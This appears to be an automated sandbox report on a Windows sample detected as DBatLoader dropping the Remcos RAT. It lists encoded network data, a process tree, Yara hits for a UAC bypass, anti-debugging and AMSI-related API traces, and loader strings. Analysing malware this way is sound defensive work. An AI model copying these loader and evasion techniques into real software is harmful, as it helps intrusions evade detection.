2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 79 72 37 61 30 74 6a 48 78 37 2f 59 32 74 6e 54 30 73 62 42 30 73 70 54 79 74 48 6d 34 4f 76 56 6e 7a 53 33 30 62 4d 34 73 4e 57 74 4f 4c 58 42 4b 67 47 71 31 62 4d 6e 7a 62 7a 71 45 5a 32 2b 36 56 4b 63 76 76 48 73 6f 74 43 33 34 4b 58 42 30 41 6a 56 78 4d 7a 4b 7a 4d 54 4b 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 6e 43 44 4d 72 43 44 56 73 57 78 38 71 31 32 73 32 63 48 63 54 41 32 50 72 5a 7a 4e 4c 32 77 64 4c 4b 72 4e 48 52 76 35 37 42 31 63 58 67 76 39 48 50 75 72 7a 56 75 71 43 68 77 62 30 45 76 64 72 45 77 73 2f 44 76 63 50 50 77 63 66 53 79 63 48 44 77 38 7a 51 7a 41 6a 57 77 51 30 57 46 38 76 4d 79 73 7a 4c 48 31 65 36 77 66 52 5a 6e 73 71 73 47 72 6e 4a 36 67 75 31 77 76 49 50 74 63 66 67 43 71 7a 4e 32 4d 66 48 77 4c 47 73 73 4d 7a 53 54 72 37 Data Ascii: yr7a0tjHx7/Y2tnT0sbB0spTytHm4OvVnzS30bM4sNWtOLXBKgGq1bMnzbzqEZ2+6VKcvvHsotC34KXB0AjVxMzKzMTKwdC+zM/LxcHRv8nCDMrCDVsWx8q12s2cHcTA2PrZzNL2wdLKrNHRv57B1cXgv9HPurzVuqChwb0EvdrEws/DvcPPwcfSycHDw8zQzAjWwQ0WF8vMyszLH1e6wfRZnsqsGrnJ6gu1wvIPtcfgCqzN2MfHwLGssMzSTr7
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 7a 4d 4b 39 76 74 44 4f 32 73 54 4d 79 73 7a 45 79 73 48 51 76 73 7a 50 79 38 58 42 30 62 2f 47 77 72 37 52 76 64 69 2f 30 63 6a 4b 76 74 72 53 32 4d 66 48 76 39 6a 61 32 64 50 53 78 73 48 4e 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c 61 78 4d 4c 50 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 50 4d 7a 38 7a 43 76 62 37 51 7a 74 72 45 7a 4d 72 4d 78 4d 72 42 30 4c 37 4d 7a 38 76 46 77 64 47 2f 78 73 4b 2b 30 62 33 59 76 39 48 49 79 72 37 61 30 74 6a 48 78 37 2f 59 32 74 6e 54 30 73 62 42 7a 63 72 52 30 63 36 2f 76 73 48 61 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2f 42 78 39 4c 4a 77 63 50 44 7a 4d 2f 4d 77 72 32 2b 30 4d 37 61 78 4d 7a 4b 7a 4d 54 4b 77 64 43 Data Ascii: zMK9vtDO2sTMyszEysHQvszPy8XB0b/Gwr7Rvdi/0cjKvtrS2MfHv9ja2dPSxsHNytHRzr++wdrFx7/Oz8O82tPJyL692sLaxMLPw73Dz8HH0snBw8PMz8zCvb7QztrEzMrMxMrB0L7Mz8vFwdG/xsK+0b3Yv9HIyr7a0tjHx7/Y2tnT0sbBzcrR0c6/vsHaxce/zs/DvNrTyci+vdrC2sTCz8O9w8/Bx9LJwcPDzM/Mwr2+0M7axMzKzMTKwdC
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2f 42 78 39 4c 4a 77 63 50 44 7a 4d 2f 4d 77 72 32 2b 30 4d 37 61 78 4d 7a 4b 7a 4d 54 4b 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 4c 59 78 38 65 2f 32 4e 72 5a 30 39 4c 47 77 63 33 4b 30 64 48 4f 76 37 37 42 32 73 58 48 76 38 37 50 77 37 7a 61 30 38 6e 49 76 72 33 61 77 74 72 45 77 73 2f 44 76 63 50 50 77 63 66 53 79 63 48 44 77 38 7a 50 7a 4d 4b 39 76 74 44 4f 32 73 54 4d 79 73 7a 45 79 73 48 51 76 73 7a 50 79 38 58 42 30 62 2f 47 77 72 37 52 76 64 69 2f 30 63 6a 4b 76 74 72 53 32 4d 66 48 76 39 6a 61 32 64 50 53 78 73 48 4e 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c Data Ascii: xce/zs/DvNrTyci+vdrC2sTCz8O9w8/Bx9LJwcPDzM/Mwr2+0M7axMzKzMTKwdC+zM/LxcHRv8bCvtG92L/RyMq+2tLYx8e/2NrZ09LGwc3K0dHOv77B2sXHv87Pw7za08nIvr3awtrEws/DvcPPwcfSycHDw8zPzMK9vtDO2sTMyszEysHQvszPy8XB0b/Gwr7Rvdi/0cjKvtrS2MfHv9ja2dPSxsHNytHRzr++wdrFx7/Oz8O82tPJyL692sL
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 77 72 37 52 76 64 69 2f 30 63 6a 4b 76 74 72 53 32 4d 66 48 76 39 6a 61 32 64 50 53 78 73 48 4e 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c 61 78 4d 4c 50 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 50 4d 7a 38 7a 43 76 62 37 51 7a 74 72 45 7a 4d 72 4d 78 4d 72 42 30 4c 37 4d 7a 38 76 46 77 64 47 2f 78 73 4b 2b 30 62 33 59 76 39 48 49 79 72 37 61 30 74 6a 48 78 37 2f 59 32 74 6e 54 30 73 62 42 7a 63 72 52 30 63 36 2f 76 73 48 61 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2f 42 78 39 4c 4a 77 63 50 44 7a 4d 2f 4d 77 72 32 2b 30 4d 37 61 78 4d 7a 4b 7a 4d 54 4b 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 4c 59 78 38 65 Data Ascii: wr7Rvdi/0cjKvtrS2MfHv9ja2dPSxsHNytHRzr++wdrFx7/Oz8O82tPJyL692sLaxMLPw73Dz8HH0snBw8PMz8zCvb7QztrEzMrMxMrB0L7Mz8vFwdG/xsK+0b3Yv9HIyr7a0tjHx7/Y2tnT0sbBzcrR0c6/vsHaxce/zs/DvNrTyci+vdrC2sTCz8O9w8/Bx9LJwcPDzM/Mwr2+0M7axMzKzMTKwdC+zM/LxcHRv8bCvtG92L/RyMq+2tLYx8e
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 45 34 62 71 77 52 65 58 54 38 38 71 6c 76 69 2b 30 4d 36 66 78 4d 7a 4b 7a 63 54 4b 77 64 43 2b 4b 6f 73 74 78 52 58 4b 44 4d 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 49 65 6b 37 65 2f 32 4e 6f 58 30 39 4c 47 77 64 4c 46 7a 73 37 4f 76 37 37 42 32 73 58 48 76 4d 34 72 32 44 6a 61 30 38 6e 49 76 68 6b 4a 79 74 6f 53 54 79 58 44 47 56 43 54 77 52 4f 47 36 73 45 58 6c 36 7a 50 7a 4d 4b 35 76 74 44 4f 32 38 54 4d 79 73 7a 45 45 4a 57 67 76 69 72 45 4c 63 58 42 30 62 2f 47 77 72 37 52 76 64 69 2f 30 63 67 51 54 4a 62 53 32 4d 63 70 76 39 6a 61 32 63 7a 4e 79 62 37 4e 79 74 48 52 7a 72 2b 2b 77 74 6f 52 7a 42 33 4f 7a 38 4f 38 32 69 64 61 77 4c 34 5a 43 52 72 61 45 6b 2b 54 77 78 6c 50 62 38 45 54 41 6e 58 42 77 38 4f 6f 7a 38 7a 43 76 4c 37 51 7a 74 72 Data Ascii: E4bqwReXT88qlvi+0M6fxMzKzcTKwdC+KostxRXKDMbCvtG92L/RyMq+2tIek7e/2NoX09LGwdLFzs7Ov77B2sXHvM4r2Dja08nIvhkJytoSTyXDGVCTwROG6sEXl6zPzMK5vtDO28TMyszEEJWgvirELcXB0b/Gwr7Rvdi/0cgQTJbS2Mcpv9ja2czNyb7NytHRzr++wtoRzB3Oz8O82idawL4ZCRraEk+TwxlPb8ETAnXBw8Ooz8zCvL7Qztr
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c 61 78 4d 4c 50 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 50 4d 7a 38 7a 43 76 62 37 51 7a 74 6f 53 4b 68 41 71 45 68 41 56 4a 68 77 71 4b 77 38 52 46 53 55 62 45 78 67 63 4a 52 6b 65 47 79 55 4f 45 42 77 67 4b 42 34 54 45 78 73 65 49 42 30 6e 4b 42 51 56 4b 52 41 6c 4a 56 73 62 48 42 58 61 78 63 65 2f 7a 73 2f 44 33 4c 6e 79 49 75 69 66 49 42 39 46 32 73 54 43 7a 73 4f 39 77 37 66 42 78 39 4c 49 77 63 50 44 6c 4d 2f 4d 77 72 69 2b 30 4d 37 61 78 4b 54 4b 71 42 62 67 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 4c 59 78 38 65 2f 32 4e 72 5a 30 39 4c 47 77 63 33 4b 30 64 48 4f 76 37 37 42 32 73 58 48 76 38 37 50 77 37 7a Data Ascii: ytHRzr++wdrFx7/Oz8O82tPJyL692sLaxMLPw73Dz8HH0snBw8PMz8zCvb7QztoSKhAqEhAVJhwqKw8RFSUbExgcJRkeGyUOEBwgKB4TExseIB0nKBQVKRAlJVsbHBXaxce/zs/D3LnyIuifIB9F2sTCzsO9w7fBx9LIwcPDlM/Mwri+0M7axKTKqBbgwdC+zM/LxcHRv8bCvtG92L/RyMq+2tLYx8e/2NrZ09LGwc3K0dHOv77B2sXHv87Pw7z
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 59 4f 67 4c 6d 50 59 2b 79 61 62 64 78 44 59 59 65 37 78 52 6c 4d 42 47 67 61 30 47 46 4e 59 6d 67 30 56 69 47 2f 52 49 56 72 65 64 68 5a 4c 68 49 44 64 45 75 4d 47 51 6e 68 7a 50 77 37 79 78 30 38 6e 49 44 37 33 61 77 68 62 45 77 73 2b 6a 76 63 50 50 73 63 66 53 79 62 6e 44 77 38 79 72 7a 4d 4b 39 76 4e 44 4f 32 73 58 4d 79 73 7a 45 79 73 48 71 4f 45 55 37 4c 45 45 32 35 44 77 78 4e 7a 68 4b 2b 45 6f 34 46 4b 67 34 4e 39 31 41 50 66 4f 6e 35 50 72 33 2b 62 4d 31 44 6b 50 4e 79 74 48 52 53 54 51 34 4e 54 63 31 38 70 2f 71 52 61 4d 33 32 74 50 4a 79 44 6b 32 50 44 51 33 4e 76 65 76 4d 54 36 6a 53 73 48 48 73 75 76 68 39 79 33 70 7a 30 67 7a 2b 6a 4e 43 52 7a 37 45 53 44 72 71 70 43 30 36 52 6a 67 74 4f 2b 37 46 77 64 48 31 4d 44 63 73 52 6b 6b 39 2b 6a 4c Data Ascii: YOgLmPY+yabdxDYYe7xRlMBGga0GFNYmg0ViG/RIVredhZLhIDdEuMGQnhzPw7yx08nID73awhbEws+jvcPPscfSybnDw8yrzMK9vNDO2sXMyszEysHqOEU7LEE25DwxNzhK+Eo4FKg4N91APfOn5Pr3+bM1DkPNytHRSTQ4NTc18p/qRaM32tPJyDk2PDQ3NvevMT6jSsHHsuvh9y3pz0gz+jNCRz7ESDrqpC06RjgtO+7FwdH1MDcsRkk9+jL

Target ID:	0
Start time:	02:00:19
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\SEPTobn3BR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SEPTobn3BR.exe"
Imagebase:	0x400000
File size:	1'362'944 bytes
MD5 hash:	CCDCD04A0FFDE31366754018598EB02F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.1421740936.00000000022C6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.1334500441.000000007FB00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.1452056215.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:00:26
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:00:26
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:00:27
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\colorcpl.exe
Imagebase:	0x970000
File size:	86'528 bytes
MD5 hash:	DB71E132EBF1FEB6E93E8A2A0F0C903D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.3812934475.00000000313BF000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.3812571420.00000000311A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.3812685840.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000003.2755366865.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:00:37
Start date:	19/12/2024
Path:	C:\Users\Public\Libraries\Emxwenem.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Emxwenem.PIF"
Imagebase:	0x400000
File size:	1'362'944 bytes
MD5 hash:	CCDCD04A0FFDE31366754018598EB02F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:00:38
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 8188, Parent PID: 8176

General

Target ID:	9
Start time:	02:00:38
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:00:38
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\colorcpl.exe
Imagebase:	0x970000
File size:	86'528 bytes
MD5 hash:	DB71E132EBF1FEB6E93E8A2A0F0C903D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.1526792578.0000000000758000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:00:45
Start date:	19/12/2024
Path:	C:\Users\Public\Libraries\Emxwenem.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Emxwenem.PIF"
Imagebase:	0x400000
File size:	1'362'944 bytes
MD5 hash:	CCDCD04A0FFDE31366754018598EB02F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:00:46
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:00:46
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\colorcpl.exe
Imagebase:	0x970000
File size:	86'528 bytes
MD5 hash:	DB71E132EBF1FEB6E93E8A2A0F0C903D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.1623286615.000000001ECB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:00:47
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	19.1%
Total number of Nodes:	277
Total number of Limit Nodes:	15

Executed Functions

Function 02B9EC74 Relevance: 245.0, APIs: 11, Strings: 123, Instructions: 10535filesleepCOMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,02BAAFA1,?,?,?,000002F7,00000000,00000000), ref: 02B9ECAE

Part of subcall function 02B98824: LoadLibraryA.KERNEL32(00000000,00000000,02B9890B), ref: 02B98858
Part of subcall function 02B98824: FreeLibrary.KERNEL32(74FC0000,00000000,02BE1388,Function_000065D8,00000004,02BE1398,02BE1388,05F5E0FF,00000040,02BE139C,74FC0000,00000000,00000000,00000000,00000000,02B9890B), ref: 02B988EB

Part of subcall function 02B9EB94: GetModuleHandleW.KERNEL32(KernelBase,?,02B9EF98,UacInitialize,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,ScanString,02BE137C,02BAAFD8,Initialize), ref: 02B9EB9A
Part of subcall function 02B9EB94: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B9EBAC

Part of subcall function 02B9EBF0: GetModuleHandleW.KERNEL32(KernelBase), ref: 02B9EC00
Part of subcall function 02B9EBF0: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B9EC12
Part of subcall function 02B9EBF0: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B9EC29

Part of subcall function 02B87E18: GetFileAttributesA.KERNEL32(00000000,?,02B9F8CC,ScanString,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanString,02BE137C,02BAAFD8,UacScan,02BE137C,02BAAFD8,UacInitialize), ref: 02B87E23

Part of subcall function 02B8C2EC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02CD58C8,?,02B9FBFE,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,OpenSession), ref: 02B8C303

Part of subcall function 02B9DBB0: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DC80), ref: 02B9DBEB
Part of subcall function 02B9DBB0: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B9DC80), ref: 02B9DC1B
Part of subcall function 02B9DBB0: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B9DC30
Part of subcall function 02B9DBB0: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B9DC5C
Part of subcall function 02B9DBB0: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B9DC65

Part of subcall function 02B87E3C: GetFileAttributesA.KERNEL32(00000000,?,02BA2A49,ScanString,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,Initialize), ref: 02B87E47

Part of subcall function 02B87FD0: CreateDirectoryA.KERNEL32(00000000,00000000,?,02BA2BE7,OpenSession,02BE137C,02BAAFD8,ScanString,02BE137C,02BAAFD8,Initialize,02BE137C,02BAAFD8,ScanString,02BE137C,02BAAFD8), ref: 02B87FDD

Part of subcall function 02B9DACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DB9E), ref: 02B9DB0B
Part of subcall function 02B9DACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B9DB45
Part of subcall function 02B9DACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B9DB72
Part of subcall function 02B9DACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B9DB7B

Part of subcall function 02B987A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize,02BE13A4,02B9A77C,UacScan), ref: 02B987B4
Part of subcall function 02B987A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B987CE
Part of subcall function 02B987A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize), ref: 02B9880A

Part of subcall function 02B9870C: LoadLibraryW.KERNEL32(amsi), ref: 02B98715
Part of subcall function 02B9870C: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B98774

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,02BAB330), ref: 02BA49B7

Part of subcall function 02B9DA44: RtlInitUnicodeString.NTDLL(?,?), ref: 02B9DA6C
Part of subcall function 02B9DA44: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DABE), ref: 02B9DA82
Part of subcall function 02B9DA44: NtDeleteFile.NTDLL(?), ref: 02B9DAA1

MoveFileA.KERNEL32(00000000,00000000), ref: 02BA4BB7
MoveFileA.KERNEL32(00000000,00000000), ref: 02BA4C0D

Strings

SLIsGenuineLocalEx, xrefs: 02BA9600
endpointdlp, xrefs: 02BA9B8F, 02BA9BC2, 02BA9BF5, 02BA9C28
sppc, xrefs: 02BA95B1, 02BA95E4, 02BA9617, 02BA964A, 02BAA55A, 02BAA58D
UacUninitialize, xrefs: 02BA2D1E, 02BA301B, 02BA3113, 02BA38F1, 02BA3F8B
RtlQueryProcessDebugInformation, xrefs: 02BAA0CE
CreateProcessAsUserW, xrefs: 02BAA155, 02BAA173
MiniDumpWriteDump, xrefs: 02BA899E
UacScan, xrefs: 02B9ED47, 02B9F586, 02B9F67E, 02B9FC4D, 02BA0833, 02BA0E11, 02BA1773, 02BA1E86, 02BA3097, 02BA3261, 02BA33C2, 02BA353B, 02BA36BE, 02BA388F, 02BA396D, 02BA3AFB, 02BA4007, 02BA43C4, 02BA45F9, 02BA52D7, 02BA5847, 02BA5A0C, 02BA5D3A, 02BA5E47, 02BA60A5, 02BA619D, 02BA6D40, 02BA70E2, 02BA72F9, 02BA748C, 02BA76E0, 02BA7B6C, 02BA7CF5, 02BA7E4E, 02BA7FF4, 02BA8181, 02BA8315, 02BA8494, 02BA870B, 02BA8B79, 02BA8D93, 02BA8F74, 02BA90E8, 02BA931E, 02BAA18E
BCryptRegisterProvider, xrefs: 02B9F3BC
UacInitialize, xrefs: 02B9EF3B, 02B9F602, 02B9FD45, 02BA3D59, 02BA41CF, 02BA49C8, 02BA4C84, 02BA503A, 02BA5527, 02BA703D, 02BA887F, 02BA8C9B
smartscreenps, xrefs: 02B9F4FE, 02B9F531, 02B9F564
CreateProcessWithLogonW, xrefs: 02BAA164
C:\Users\Public\, xrefs: 02BA3183, 02BA54D0, 02BA6743
VirtualAlloc, xrefs: 02BAA204
GetProcessMemoryInfo, xrefs: 02BA9873
DlpGetWebSiteAccess, xrefs: 02BA9C11
